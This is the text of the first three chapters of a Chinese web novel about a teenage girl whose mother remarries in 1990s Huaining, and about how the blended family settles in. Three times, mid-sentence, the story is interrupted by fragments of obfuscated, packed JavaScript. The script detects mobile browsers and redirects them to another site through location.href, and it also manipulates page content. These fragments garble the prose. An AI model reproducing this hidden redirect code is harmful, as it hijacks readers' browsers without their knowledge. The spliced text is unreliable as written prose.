《九零重组小家庭》 1. 第1章 淮宁市,城中村。 拥挤杂乱的临街早餐店里,一对母女面对面坐着。 “两个肉包,一个菜包,一碗甜豆浆。” 老板吆喝一声,包子豆浆已经摆在桌上。 陆淼饿得不行,掰开一次性筷子搓了搓,夹起其中一个肉包就吃。 对面孟娇娇还在分豆浆,这家店的豆浆量大实惠,母女俩喝不完两碗,通常都是买一碗分着喝。 肉包三两下下肚,陆淼又去夹菜包。 孟娇娇把第二个肉包推过去,自己则是吃菜包,顺便小口喝豆浆。 陆淼已经习惯这套流程,没多说,开始吃第二个肉包。 最后一口豆浆快喝完时,孟娇娇终于说话,“淼淼,我给你找了个新爸爸。” “咳咳咳——” 陆淼惊讶抬头,咳嗽不断。 孟娇娇以为女儿不愿意,连忙说道:“对方是个老实人,和你那个醉鬼爹不一样。” 十分钟后,母女俩重回出租屋。 陆淼坐在床边,孟娇娇坐在餐桌旁凳子上,两人隔着些距离。 孟娇娇心里不踏实,“淼淼,你、你什么想法啊?” 陆淼摇头,“妈,我没想法。说实话你现在才三十五,总不能单着过一辈子吧,我知道你会再婚,只是……” “只是什么?”孟娇娇赶紧问。 陆淼想起亲爸,或许是穿越加持,她的记忆力很好,即便父母在她五岁时就离婚,她依旧记得那一个个恐惧漫长的夜晚。 喝醉酒,耍酒疯,一言不合就打人。 等第二天酒醒,又一脸懊悔和她们母女道歉,说“以后一定改”。 从她三岁说到五岁,她妈信了两年,最终心冷离婚。 陆淼是穿越的,前世是孤儿院里没人要的孩子,今生却有一个疼爱自己的母亲,她很珍惜这份亲缘。 “妈,我只是怕你再遇上一个我爸那样的。” “你爸那样?” “手里头有点钱就喝酒,一喝就喝得烂醉,然后耍酒疯,开始打人……” 孟娇娇很惊讶,她和前夫离婚时女儿才五岁,这些事情孩子怎么记得那么清楚? 她从来没提过那个男人,无论好的坏的。 “我以为你不记得,你那时候还小。”孟娇娇吐出一句。 陆淼:“他在我三岁的时候开始沾酒,不到两个月就开始酗酒,喝酒第三个月开始打人,我记得清楚。” 孟娇娇顿时心疼,走到床边把女儿搂进怀里,“你怎么不和我说,你一个孩子,记这些糟心事干嘛。” “妈,你都想好了是吗?那个男人是什么样的,你和我说说呗。” 孟娇娇这才慢慢说来,“他叫徐建国,我俩老家是一个村的,很小的时候就认识了。他初中毕业就从村里出去了,跟了个大师傅学做菜……今年年初我们厂食堂换了个承包单位,新来的厨师里有一个就是他……” 在淮宁这个大城市遇上老乡,且又自小相识,可谓是缘分。 两人都单身,一来二去发展出感情倒是合理。 陆淼听完,直接三连问: “他喝酒吗?看着老实,性格脾气怎么样? “今年几岁,也是二婚? “他有孩子吗?” 孟娇娇赶紧说道:“不喝酒不喝酒,我最讨厌喝酒的男人,哪里还能再找一个那样的。徐建国那人看着老实,人也是真老实,在食堂和大家伙相处都挺好的。是二婚,四十了,有两个孩子,一儿一女。” 陆淼心想:亏了,我家就我一个,以后岂不是要一对二? 但很快,她又想到同父异母的弟弟。 之前挺不愿意她妈接了那小子过来一起住,但现在又觉得,行吧,好歹和自己还有血缘关系。 “这样就是二对二,不亏了。”陆淼不禁点头。 “淼淼,你听了这么多,心里什么想法啊?”孟娇娇紧张又担心。 陆淼抬头,想了想问出最后一个问题,“妈,他家有房吗?如果没房,那你还是不要结了,租房过日子算怎么回事。” 她们现在就是租房住,城中村里最破最拥挤的小平房,周围住着的人简直可以称得上一句“三教九流”。 孟娇娇就点头,“有房,他早年挣了钱的,就离咱们这里两条街那个小区,有个70平的房子,在一楼,一单元101室。” “哟,这都告诉妈你了?” 孟娇娇顿时脸一热。 陆淼却是笑了,“行吧,我没意见,妈你做什么我都支持。” 孟娇娇脸上顿时笑容盛开,上前一把抱住女儿,但很快又松开手,开始翻找自己的行李袋。 “我们说好了,你这边要是答应,我们下午就去领证。我找找,穿件体面点的衣服。” “这么急?” “请假不方便,还要扣工资,下午他有个外出采买的活,我和车间组长说一声,偷溜出去一小时,事情就能给办了。” 说完回头,孟娇娇冲着女儿眨眼间,“就你姚阿姨,今天她当值。” 孟娇娇所在的棉纺厂算是淮宁市大厂,单一个车间就有两个组长,实行轮班管理制。 其中一个组长叫姚兰,和孟娇娇关系不错。 陆淼点头,开始收拾书包,今天星期一,她也得去学校上课。 五分钟后,母女俩收拾整齐,离开出租屋。 两人一起走出城中村,在外面临街的一个公交站牌下等待。 不一会儿,来了一辆528,终点站就是淮宁棉纺厂。 陆淼目送妈妈上车,抬手挥了挥。 没过两分钟,来了一辆396,途径淮宁六中,陆淼也坐上了公交车。 一整天忙碌学习,直到下课铃响,陆淼才恍然抬头,放学了。 于是把作业和课本塞进书包,拎着水杯下楼去。 刚走到校门口,就听到一声喊:“淼淼。” 陆淼抬头看,寻着声音望去,“妈?” 她妈怎么来学校了? 还没到期中开家长会,她今天也没犯错啊? “妈,你怎么过来了?”陆淼走过去问。 孟娇娇拿出结婚证,脸上带着喜悦,“下午去领证了,我们就商量着晚上一家人吃顿饭,大家伙都见一见。” 陆淼点头,这倒是应该的,先把人认清楚,免得以后住同一个屋檐下,还处于脸盲状态。 “行吧,那我们走,在哪里吃饭?” “先等一下,还有人呢?” “啊?” “建国去隔壁小学接他女儿放学,我过来这边接你,还有他儿子,他也和你读一个学校,等人出来一起。” 孟娇娇说着,又笑笑,“我其实也不大认得出来,就看过那孩子的照片,叫徐清澜,比你高一届,初三的。” 陆淼前世因为身体原因,没有机会去学校,死的时候不过十六岁。 如今穿越平行世界,人生可以重来一次,除了亲情,最珍惜的就是上学机会。 可以说自小学开始,她就是“一心只读圣贤书,两耳不闻窗外事”。 “徐清澜?不知道,我只认识我们班的。” 他们初二有五个班呢,她都没工夫认全,初三关她什么事。 母女俩正聊着,一个男人牵着孩子先一步到了。 徐建国脸上挂着笑,额头却满是汗,见着孟娇娇就说道:“孩子老师叫住我,和我说了两句,耽搁了点时间。哎这边!” 话说一半,徐建国忽然抬手挥了挥,眼睛里都是光亮。 陆淼扭头看,迎面走来一个少年,身高大概一米七五,长得很清瘦,戴着副黑框眼镜。 书包拎在手上,看着鼓鼓囊囊的,但没见对方有半点吃力感。 “爸。” 徐清澜走近,喊了声,转头冲着孟娇娇轻轻点头。 孟娇娇先一步主动,拍了拍女儿的后背,“淼淼喊人,这是你徐爸爸。” 徐建国一听脸色通红,连连摆手,“不用不用,别勉强孩子。淼淼,你喊徐叔叔就行。” 陆淼对“爸爸”这个称呼没想法,记忆里的亲爸太垃圾,以至于她无形中就把父亲和家长之间的等号切断了。 “爸爸”就只是爸爸,一个和她妈结婚后会一起生活的男人而已。 而家长,她就她妈一个。 于是干脆利落喊了声,“爸。” 陆淼喊人时,甚至是带着笑的。 徐建国顿时受宠若惊,万万没想到继女能这么快接受自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486761|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊,好,好好。” 徐建国话都结巴了,好一会儿找着调,扭过头介绍:“淼淼,这是我儿子徐清澜。他比你大一岁,也是你们学校的,在初三(1)班,以后在学校有什么事,你只管找他就行。” 说着又拉了把自己牵着的小女孩,“这是我女儿杨晶晶,刚满七岁,在隔壁三小读书,上二年级。” 杨晶晶没说话,甚至有些敌意看着陆淼,又不时偷偷撇过视线,看向孟娇娇。 倒是徐清澜已经喊人,先是冲着孟娇娇喊了声“妈”,又回过头和陆淼打招呼,“淼淼妹妹,你好。” 陆淼挺惊讶。 牛啊,第一次见面就能喊“妈”,她也是两辈子做人才这么无所谓。 不过对方打招呼了,她也不能没礼貌。 于是应了声,“哥哥好。” 徐建国和孟娇娇都很高兴,自己的儿子(女儿)居然这么快就接受重组家庭,而且没有任何抵触,这可真是一个好的开始。 于是两人招呼着往外走,去学校附近的一家小饭馆吃饭。 鱼香茄子,辣椒炒肉,鱼头炖豆腐,酸辣土豆丝,每一个都是下饭菜。 小饭馆量大实惠,陆淼好不容易吃一次好的,全程都在干饭,只在添饭时偶尔听一两句桌上的闲话。 对于徐建国给自己夹菜,她来者不拒,顺便回一个大大笑脸,说一声“谢谢爸”。 对面徐清澜的情况差不多,孟娇娇的示好夹菜,他都回以微笑。 不过半小时,桌上的炒菜全部光盘,新组建的一家人也在这顿饭中慢慢熟络起来。 饭后结账,孟娇娇甚至能牵着杨晶晶的手,和徐建国一起站在前台边。 陆淼吃饱喝足闲着无聊,双手插在校服兜里,眼睛到处乱看。 转了一百八十度,冷不丁和旁边少年对上眼。 徐清澜也有些意外,出于礼貌点点头,随便说道:“吃饱了吗?” “啊,吃饱了。” 看对面少年挺有善意,也不是一副拒人千里之外的样子,于是开始找话题聊天。 聊着聊着,陆淼瞥到站在前台的杨晶晶,扭头问:“你妹怎么不和你一起姓?她跟你妈姓吗?” 徐清澜:“她是我同母异父的妹妹,我妈离婚后再嫁生的她。” 陆淼更疑惑,“那她不应该跟你妈还有她亲爸一起生活么,怎么是跟你爸了?” 徐清澜顿住,没说话。 陆淼自知问得尴尬,赶紧道歉,“对不起啊,我没想打听你家的事。” 徐清澜倒是不介意,父母过早离异,他从小就学会自己照顾自己,心智比同龄人成熟很多。 “没事,我们现在是一家人,这些你早晚都会知道。” “啊?” “我妈再嫁后嫌那家穷,偷摸跑了,晶晶的亲爸觉得孩子不是亲生的,扔给我外婆带。今年开春我外婆去世,孩子就没人管。社区主任找不到她亲爸,我爸又正好给我外婆处理丧事……最后成了监护人。” 说起来,徐清澜和这个亲妹妹也才相处了半年。 杨晶晶话少很安静,平时也更黏着徐建国,徐清澜和她更像是熟悉的陌生人。 他甚至觉得,自己和妹妹这半年说的话加起来,也没现在和继妹说得多。 陆淼实在自来熟,而且一点不怕生。 陆淼听完“故事”,不禁张大嘴巴。 “是不是难以接受?我爸这人就这样,你——” 徐清澜话没说完,陆淼已经先开口,“我懂,和我妈一样,有点烂好人。对了,过几天咱家还要再加一个家庭成员,我同父异母的弟弟陆远。我爸喝酒死了,他妈改嫁不要他,他外婆那边没人管,我妈准备接手了。” 这回,轮到徐清澜震惊。 他知道他爸再婚,女方也有一儿一女,但万万没想到,这一儿一女竟然是这样的关系。 得,也算缘分,两家半斤八两。 但到底只是个十四岁的少年,心情略微有些烦躁。 徐清澜:这糟心的日子。 与此同时,陆淼也默默消化了对面家庭的复杂“成分”。 而后不禁感慨:一个家里四个姓,四个孩子各有爸妈,豁!这日子以后有的热闹了。 2. 第2章 结完账走出来,正好晚上六点半。 九月初刚入秋,白天的日子还很长,眼下天色还是灰蒙蒙带点亮。 徐建国心里热火,忍不住搓手,“要不要去家里看看?” 孟娇娇和陆淼同时转头。 徐建国就解释:“这不是说好过段日子搬来一起住么,正好今天淼淼在,先过去看看样子。” 顿了顿,又说道:“家里两个卧室,先前是我和清澜住一间,晶晶自己住一间,等你们搬过来,我想着我们俩搬到小一点的那个房间去,然后再把大一点那个卧室隔出来两间房。” 徐建国说完有点尴尬,尤其是对陆淼,“房子小了点,委屈你了淼淼。” 陆淼没说话,只是看向她妈。 孟娇娇倒是不觉有什么,她们母女俩之前还一直租房子住呢,一个不大的房间隔成好几块,又当厨房又当卧室的。 “那就去看看?”孟娇娇微微点头。 徐建国心里高兴,赶紧带着人去家里。 幸福里小区距离六中大约两公里,饭后闲聊散步,不过半小时就走到了。 一单元在小区大门口进去不远,徐建国一手牵着女儿,一手摸钥匙,打开门后立即开了客厅灯。 陆淼是最后走进去的,一进房子就默默观察。 厨房挺小的,只能容纳一个人在里面做饭,站两个人就很挤,不过有一扇小窗。 厕所挺大,有淋浴间隔出来,马桶和洗漱台都有,比她们租房那边的公厕强太多。 要说缺点,可能就是厕所里没有窗,只是在最上面装了块玻璃,是从厨房那边借光的。 客厅不大不小,摆了一张四方桌,有一个挺旧的沙发,不知道是什么皮做的,已经有点裂开了。 再转到卧室,次卧连着阳台,窗帘拉着看不清楚阳台情况,但房间里有一个衣柜,还有一张一米二的床。 陆淼在小房间站了一会儿,再转身人都不见了,走出去一看,所有人都在大房间里。 那是主卧,面积比次卧大上许多,但除开衣柜和一张上下床,就没别的家具了。 徐建国带着转了一圈,然后指着卧室比划,“这房间窗户大,我打算从中间隔开,这样两个小房间都能有一扇窗,我和清澜睡的上下床到时候搬到左边,给他们俩兄弟用,淼淼和晶晶睡右边房间,我去买个新的,也是上下床。” 而后又比划着,要给两个房间里都做上简易衣柜。 孟娇娇在旁边不时点头,只觉哪哪都好。 以后这就是自家的房子,有卧室有客厅,有厨房有独立卫生间,比出租屋不知强多少倍。 回去路上,孟娇娇忍不住问:“淼淼,你刚才都没说几句话,新家那边的安排,你觉得咋样?” 陆淼心说我们是搬过去住的,房主是继父,有张床睡就不错了,哪来的底气还敢提要求。 但面上却是笑眯眯,“挺好的,爸安排的很合理。” 徐建国确实不错,亲生的不是亲生的,都一视同仁。 光是自己搬去次卧,把主卧让出来隔成两间的做法,就已经为人善良了。 临睡前,陆淼想起一茬,从被子里探出脑袋,“妈,这事你和陆远说了没?” “还没呢,先前没房子,收养小远的事情还和他们在扯皮,如今住的地方有了,我准备再去街道主任那问问,能不能一次性把手续办下来。” 孟娇娇说着又叹气,“你大伯倒是想收养,可你大伯母一直不肯松口,你爷爷奶奶的意思,跟着我算是没办法的办法,好歹你和小远是亲姐弟。” 陆淼挺明白爷爷奶奶的想法。 大儿子一家照顾小孙子,怎么说都隔着一层,算亲戚。 但她和陆远是有血缘关系的,同父异母的姐弟也是亲姐弟。 最重要的是,爷爷奶奶晓得她妈的性格,心软得很,最见不得孩子委屈,跟着这样的母亲,差不到哪里去。 而事实也是如此,两个老人说些软话,又再三请求,她妈就答应下来。 要不是住的问题,说不定户口都迁进了。 孟娇娇念叨着收养手续的事情,最后迷迷糊糊睡过去。 陆淼则是在心里默默背课文,直到意识迷糊进入梦乡。 一连几天,日子还是照常过。 陆淼和徐清澜即便已经打过照面,但初二和初三不在同一个楼层,只要不是刻意,基本上碰不到。 但星期五中午,陆淼正在教室里写作业,旁边的同学忽然喊了她。 “陆淼,外面有人找。” 陆淼抬头,看到站在教室外的徐清澜。 她挺疑惑,但还是放下笔走出去。 “哥,有事?” 陆淼喊人一点不结巴,自然的跟亲哥一样。 徐清澜轻咳一声,说道:“家里房间已经隔好,床和衣柜也弄好了,剩下装窗帘布和一些细节琐碎,我爸想让你过去看看,按照你的喜好来。” “就我?房间隔出来不是我和晶晶一起住么。” “晶晶那边问过了,没想法,你比她大得多,我爸想听听你的意见。” “那行,明天休息过去一趟?” 徐清澜“嗯”了声,又说:“那个你弟,要不也一起喊来?” 陆淼想到什么,摇头说:“这事得问我妈,陆远的收养手续还没办完。” “啊?” “主要是我大伯那边没说好,卡住了,不过估计也快了。” 陆淼心里清楚,大伯虽然想收养侄子,但是家里一直都是大伯母做主,他坚持不了多久。 如今住房问题解决,“死咬”的这口气估计快散了。 “那没事了?我回教室去了。”陆淼心里还惦记着作业。 徐清澜看着人进教室,也转身离开。 陆淼回到座位又开始写,只不过同桌和旁边的同学好奇,忍不住凑过来。 “陆淼,那谁呀?看着像是初三的。” “嗯,初三的,我哥。” “啊?你什么时候有哥了,刚认的?” 也不知什么时候起的风气,初中生开始流行认哥哥妹妹。 陆淼一边写一边说:“亲的,我没干哥。” 两个女生还想再问,陆淼借口要做数学题不说了。 晚上,孟娇娇下夜班回家,带了两个包子。 陆淼正饿着呢,拿过一个就吃,顺便说了今天中午徐清澜找她的事情。 孟娇娇:“那就去看看,小远那里你去接一下,你们姐弟一起去。” 想了想却又说:“算了,明天我和你一起过去。”正好趁休息把事情谈妥当。 第二天星期六,阳光明媚。 陆淼跟着孟娇娇去大伯家,她妈留下说正事,她带着陆远去新家。 一路上,陆淼把新组建的家庭情况简单说了下。 “你和徐清澜一起睡,要上铺还是下铺,等会儿到了那,你俩自己商量决定。” 陆淼说完,心想自己这边也一样,得和杨晶晶说好了。 虽然她挺想睡下铺的,但杨晶晶那么小,睡上铺爬上爬下的,能不能行? 陆淼想完事也没听见声音,转头看过去,“你今天哑巴了?和你说话呢。” “阿姨真的能收养我吗?” 陆远蹦出一句不相干的话。 陆淼一愣,“大伯母又说什么了?” “也没说什么,就念了几句,好像是抚养费的事。” 陆淼听明白了,根本不是抚养费,而是她亲爸仅剩的那点钱。 她爸葬礼上,她听奶奶说起过,家里大扫除翻出来一张存折,里面还有两千块钱。 眼下是九五年,工人工资水平大概三四百左右。 她妈在棉纺厂上班,算上加班费还有考勤奖,一个月就有四百。 但每个月都要吃喝,其实月工资四百存不下什么钱。 所以实打实的可流动现金两千,还是很有诱惑力的。 “我说呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486762|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大伯母明明不想收养你,偏偏还不松口吊着我妈,感情是为了你爸那点钱。” 陆淼恍然,随即又说:“不对,什么你爸,那也是我爸,亲老子的钱,也有我一份。” “什么意思啊?”陆远一脸懵。 陆淼摆摆手,“你小孩子不懂,不和你说了,先去新家看房间,这事我回头和我妈说。” 陆远心里不服气,心说什么小孩子呀,你不也是小孩子么。就比我大六岁而已,装什么大人。 但也就心里嘀咕两句。 眼下他满心思都在新家上,比起同父异母的姐姐,异父异母的哥哥妹妹以及八竿子打不着关系的“新爸”,更让他忐忑。 他姐是跟着亲妈嫁过去的,他们理所当然是一家人。 他算怎么回事呢。 那家人会欢迎吗? 说不定还嫌弃他。 如果他们不乐意,被赶出来…… “到了,就这个小区。”陆淼忽然停下。 陆远抬头,念叨:“幸福里?” “对,幸福里小区,你把小区大门记一记,等看完房间回去时,我带你从小区到你小学那走一遍,熟悉一下路。” “哦。” “哦什么哦,走呗,就前面那一栋,一单元101室,你抬头看路,记住了知道没?” 陆远又点头,跟着姐姐往前走。 徐建国不在家,开门的是徐清澜,见到陆淼和陆远,立即侧身让人进来。 “我爸出去买零件了,你们先进来看,妈呢?” 陆远猛地抬头,表情惊讶。 陆淼“噗嗤”笑出声,“他们已经领证了,他喊妈没毛病,你以后还得喊他一声哥。” 陆远没喊,局促得很。 陆淼不管他,自顾走去主卧那边。 才几天工夫,一个大房间就已经隔开变成两个迷你小房间了,两边都是放的那种铁架子的上下床,床对面是一个没有门的简易衣柜。 说是衣柜,也就是几块木板钉起来而已。 陆淼看完自己这边,又转去另一边,还用手推了推窗户,是能灵活打开的,没封死。 徐清澜:“如果两个房间都要通风,就只能开半扇,不过我看了,只是采光的话两边都还行。” “嗯,一扇窗户快一米了,白天来看屋子里也挺亮堂的。对了,这床现在能爬上去吗?” “可以。” 陆淼三两下爬到上铺,坐在床边摇了摇,惊讶道:“居然不晃,我同学说学校寝室的床摇摇晃晃的,一不小心能整个床架翻下来。” 徐清澜:“四面都另外固定了,和隔开的木板钉在一起。” 陆淼转身去摸所谓的“墙”,挺厚实的木板材料,虽然不隔音,但很结实。 之后就是商量窗帘布的颜色,还有床单被套的花样这些。 徐清澜把他爸想说的一一转述,陆淼没任何不好意思,心里怎么想就怎么说。 聊了十几分钟,徐建国回来了。 看到家里多了两个孩子,心里欢喜,尤其看到陆远,更是笑得一脸褶子。 “这就是小远吧,第一次到家里来哈,快坐,清澜你拿吃的给弟弟妹妹。” 徐清澜侧身,下巴微抬示意,“都摆桌上了。” “啊,那好,那好。” 徐建国转头看向陆淼,问起颜色的事情。 陆淼又说了一遍,最后看着站在徐建国背后的杨晶晶,“爸,我和晶晶怎么睡?我俩谁上铺谁下铺?” 徐建国:“看你,晶晶还小呢,你读书功课重,你看是要睡上面还是下面?” 陆淼稍稍犹豫,就遵从内心想法,“那我下铺吧,我晚上要写作业复习,挺晚的,晶晶先爬上去睡不影响。” “行,那就这样睡。”说着转身,徐建国又看向陆远,“小远,你呢?” 陆远赶紧回答:“我睡上铺。” 他姐选了下铺,他不能再选下铺,不然人家要不高兴了。 3. 第3章 徐建国留两个孩子在家吃饭,陆淼拒绝了。 “自己家,快到饭点了,吃了再走吧。”徐建国忍不住说。 陆淼笑笑,点头说:“爸,我们真没客气,主要是和我大伯那边说好了,在他家吃午饭,我妈也在那边呢。” 徐建国这才作罢。 陆淼带陆远离开,走到小区大门口时,手指向左边方向。 “往那边是去六中的,我和徐清澜都在那上学。” 陆远望着笔直的街道,一眼看不到路的尽头,只有街道两旁的梧桐树,伴着风声刷刷作响。 “姐,我晓得了。”陆远应声。 陆淼却是一巴掌拍过去,打在对方手臂上,“知道什么知道,我还没和你说明白呢。” “啊?” 陆淼又指向右边一条略微弯曲的小路,“往这里走可以抄近道,绕过两个巷子就到你们小学了,你和杨晶晶一个学校,你们同年级,她在二(4)班……” 陆淼边说边带路,陪陆远走了一趟小路。 但同时,又带人从大路方向绕回小区。 只是绕回来的时候,在三岔口停了下,“看到没,往那个方向就是去六中的,你要是放学不想回家,就走这边来我学校门口等。” 陆淼太了解陆远的性格,这个弟弟虽说相处不多,但心思忒多。 弯弯绕绕的,也不知道小小年纪每天都脑补什么。 反正在她看来是芝麻绿豆小的事情,在他眼里就是挺大的事情了。 重新走回小区大门口,两条路已经全部熟悉,陆淼不想再走去大伯家,干脆花了一块钱,两人跳上公交车。 午饭吃的一般般,即便有三个“客人”在,大伯家的饭菜依旧没变化。 “白菜炖豆腐,豆腐白菜汤,凉拌皮蛋豆腐,大伯母今天到底买了几块豆腐?” 回去的路上,陆淼忍不住抱怨,“每次都这样,一去大伯家,大伯母就开始发挥她那了不得的厨艺,白菜豆腐管饱,我就没在桌上见过肉。” “那炒白菜里不是有肉么。”孟娇娇说道。 陆淼就差翻白眼,“那肉沫小的,我筷子都夹不起来,我又不是陆浩然,拿个勺子就逮着盘里一个劲的挖肉沫。好家伙,他那挖肉沫粒子的本事是不是就这么练出来的?我们每次过去,他就操练一回。” 孟娇娇听笑了,前夫的哥嫂一家确实抠门,这事情她十几年前就知道。 “哎,我们一年也去不了几回,白菜豆腐也就吃一顿,就是苦了小远,我上个月看到他,脸上还挂点肉,今天见着又瘦了不少。” “半大小子吃穷老子,陆远刚开始长身体呢,每天菜叶子能吃得饱?就中午这顿饭,他去盛第二碗时,我看大伯母脸色都不太好了。” “这可是亲侄子呐。” “豁,我还是他们亲侄女呢,我小时候可没在大伯家白吃一口米饭。” 孟娇娇不由想起往事,前夫自从开始酗酒,每个月赚的工资基本上就不拿回家了。 为了让娘俩能够生活下去,她只能把三岁的女儿托给嫂子带,自己则是去外面找工作。 但这一托,不仅要给托管费,还得送过去粮食。 前嫂子那精打细算的,甚至给她女儿规定好,每天中午一顿饭只能吃半碗,肉只能夹两片,倒是大白菜量大管够。 也不知道前嫂子究竟怎么给她女儿吃的,反正离婚后她自己带孩子,淼淼就再也不愿意吃白菜了。 “对了妈,收养的事情谈好了吗?”陆淼又问。 孟娇娇脸色不大好,“没呢,你大伯母还没松口。” “那就是钱的事情没谈拢。” “你——” “你甭瞒我,陆远都和我说了,我爸还有两千块存款,按照我爷爷的意思,这笔钱算是陆远的生活费,谁照顾他就归谁。” 但她大伯母,只想要钱,不想管孩子。 孟娇娇:“我其实没想要那笔钱,我就是看小远这日子过得,我心里难受。” “凭什么不要啊,那是我爸的钱,他死了我也有份的。” 陆淼一听她妈心软,立刻不答应,“妈你别发好心,我和陆远都是我爸亲生的,这笔钱我俩都有份,大伯和我爸是兄弟,他们早分家了,这钱怎么着都落不到他们家头上。” “但你大伯母她……” “妈,我爸的存折现在在谁手上?” “你奶奶收着呢。” 陆淼心思一转,心里笑开:看来爷爷奶奶也不是完全相信大伯嘛。 第二天一早,陆淼拎着早饭去大伯家,只简单打了个招呼,就把陆远喊出来了。 然后二话不说,带着人坐上公交车下乡。 “两个肉包,吃吧。”陆淼把早饭递过去。 陆远:“我吃过了。” 陆淼点头,“我知道,稀饭咸菜是吧,吃得饱吗?” 陆远不说话,他是真的没吃饱,大伯母做的稀饭那是真的稀啊,咸菜也是齁咸,夹一筷子得配半碗稀饭才行。 见姐姐是真心给自己买的,陆远这才慢慢吃起来。 吃到一半,看到公交车转向熟悉的乡土小路,忍不住问道:“我们这么一大早去乡下,看爷爷奶奶吗?” “得早点去,帮他们干活。” “干活?” “你好好表现,陪爷爷下地去,我和奶奶在家说说话。” 陆远以为是单纯的看望,一边吃一边点头。 等到村口,两人跳下公交车,迈步往里走。 陆大海正要出门,扛着锄头刚走到院门外,就瞧见远远走来的两个小不点。 还没走近呢,孙女已经喊上了,“爷爷,我和陆远来看你们来了。” 陆大海一共两子一女,女儿嫁到外省,常年不回家。两个儿子倒是都在同一个城市,只是他们住市区,两个老人则是住在市郊的村子里。 大儿子一家生了个儿子,也就是大孙子。 小儿子二婚再娶也生了个儿子,也就是小孙子。 所以小儿子头婚生的女儿,是他们陆家唯一的孙女。 “淼淼,怎么这么早到乡下来了。”陆大海放下锄头,摸出一支烟,用火柴点上。 陆淼已经小跑到跟前,把陆远往前一推,“我弟想你们了呗,嚷嚷着非要来,我妈没空,我就带他过来了。” 说完,又笑眯眯一脸,“我也想爷爷你了,我奶奶呢?” “在后院喂鸡。” “爷爷你去地里啊?让陆远跟你一块儿,帮你干活。” 陆淼把人推出去,迈着轻快的步子进小院,陪着奶奶一起喂鸡捡鸡蛋。 中午做面条,李根花舀出两大碗面粉和面,陆淼在旁边打下手。 扯面的时候,祖孙俩就聊上了。 “你妈给你找了新爹,人咋样?”李根花直接就问。 陆淼点头,“还行,他们家有房,主卧改了两个小间给我们住,他和我妈睡次卧。” “是套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486763|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房啊?我还以为是小平房。” 家里两个儿子也在市里住着,但都是住的小平房。 尤其二儿子,个败家的,好好的两间平房也霍霍没了,要不然也不会人一走,媳妇就跑了。 可怜她小孙子连片遮头瓦都不剩,只能暂住在大儿子家里。 “有房就好,只要那男人老实,对你妈好,自然就会对你好。” “奶奶,不止呢,我这个新爸对我弟也好。陆远人还没过来,床铺就已经安排好了……” 陆淼说起徐建国的安排,尤其是对他们姐弟和自己亲生的一视同仁的住宿条件时,老太太眼神不由闪了闪。 “真的?” “真的,就等选个黄道吉日搬过去住了。不过我妈还没这心思,她现在满脑子就想着陆远收养手续怎么办下来。” 陆淼随口念叨,说起昨天在大伯家吃的“丰盛”午饭,“大伯母肯定认识菜市场卖大白菜的,估计买了几十斤搁家里。” 不等对方开口,又是一句,“陆远这小子是真能吃啊,在大伯母家吃了稀饭出来的,上车又把我买的两个肉包全吃了,就这还嫌不够。” 李根花听得心里发酸,心疼了。 大儿媳妇什么德行她能不知道! 肯定亏待小孙子了。 “个混账玩意儿,亲侄子吃口饭都抠搜,怎么对得起他亲弟。”李根花张口就骂大儿子。 陆淼叹气,“大伯对陆远还是挺好的,只是吧,家里大伯母做主,奶奶你也知道。” 李根花太知道了,可越是知道越不是滋味。 小儿子没了,可就剩这么一个根了。 “哎,我妈是没辙了,街道主任那边给的时间就剩几天,手续办不下来,陆远只好跟着大伯一起住了。” 她妈和陆远没有亲缘关系,即便想收养也不是第一人选。 街道那边首先考虑的就是她爸的亲兄弟,也就是她大伯。 只有她大伯自动放弃收养,她爷爷奶奶这边也同意,她妈才能办理收养手续。 她爸刚死那会儿,本来已经说好了。 但自从翻出来那个存折,事情一下子变得曲折起来。 中午,陆大海带着陆远回来,两人洗洗手上桌吃饭。 干的是体力活,饿的快,祖孙俩吃得又快又急。 尤其是陆远,一直在大伯家吃得拘谨,这会儿到了爷爷奶奶这边,终于能放开肚子好好吃一顿。 两大碗面条下肚,陆远忍不住打了个饱嗝,抬头不好意思。 李根花却是面色复杂,孩子得是多饿啊,吃的比他爷还多。 下午临走前,李根花装了一篮子鸡蛋,让陆淼带回去。 “给陆远吧,我不回大伯那儿。”陆淼摆手。 李根花:“给你妈的,你拿回去。” 这回轮到陆淼惊讶了。 心说不容易啊,简直太难得了,她奶奶竟然给前儿媳送鸡蛋。 虽然都是同一个爸,但是孙子和孙女的待遇还是不一样的。 尤其这个孙女还是跟着亲妈一起离开家的,除了一个姓氏,其实和陆家基本上没关系了。 也就陆淼嘴巴甜,又经常下乡打牙祭,哦不是,是经常去看望爷爷奶奶,这才把祖孙情保持下来。 “过两天我去看你大伯,你给你妈说一声,到时候来你大伯家吃晚饭。”临走前,李根花叮嘱孙女。 陆淼笑着答应,半道上和陆远分开,哼着小曲儿回出租屋。 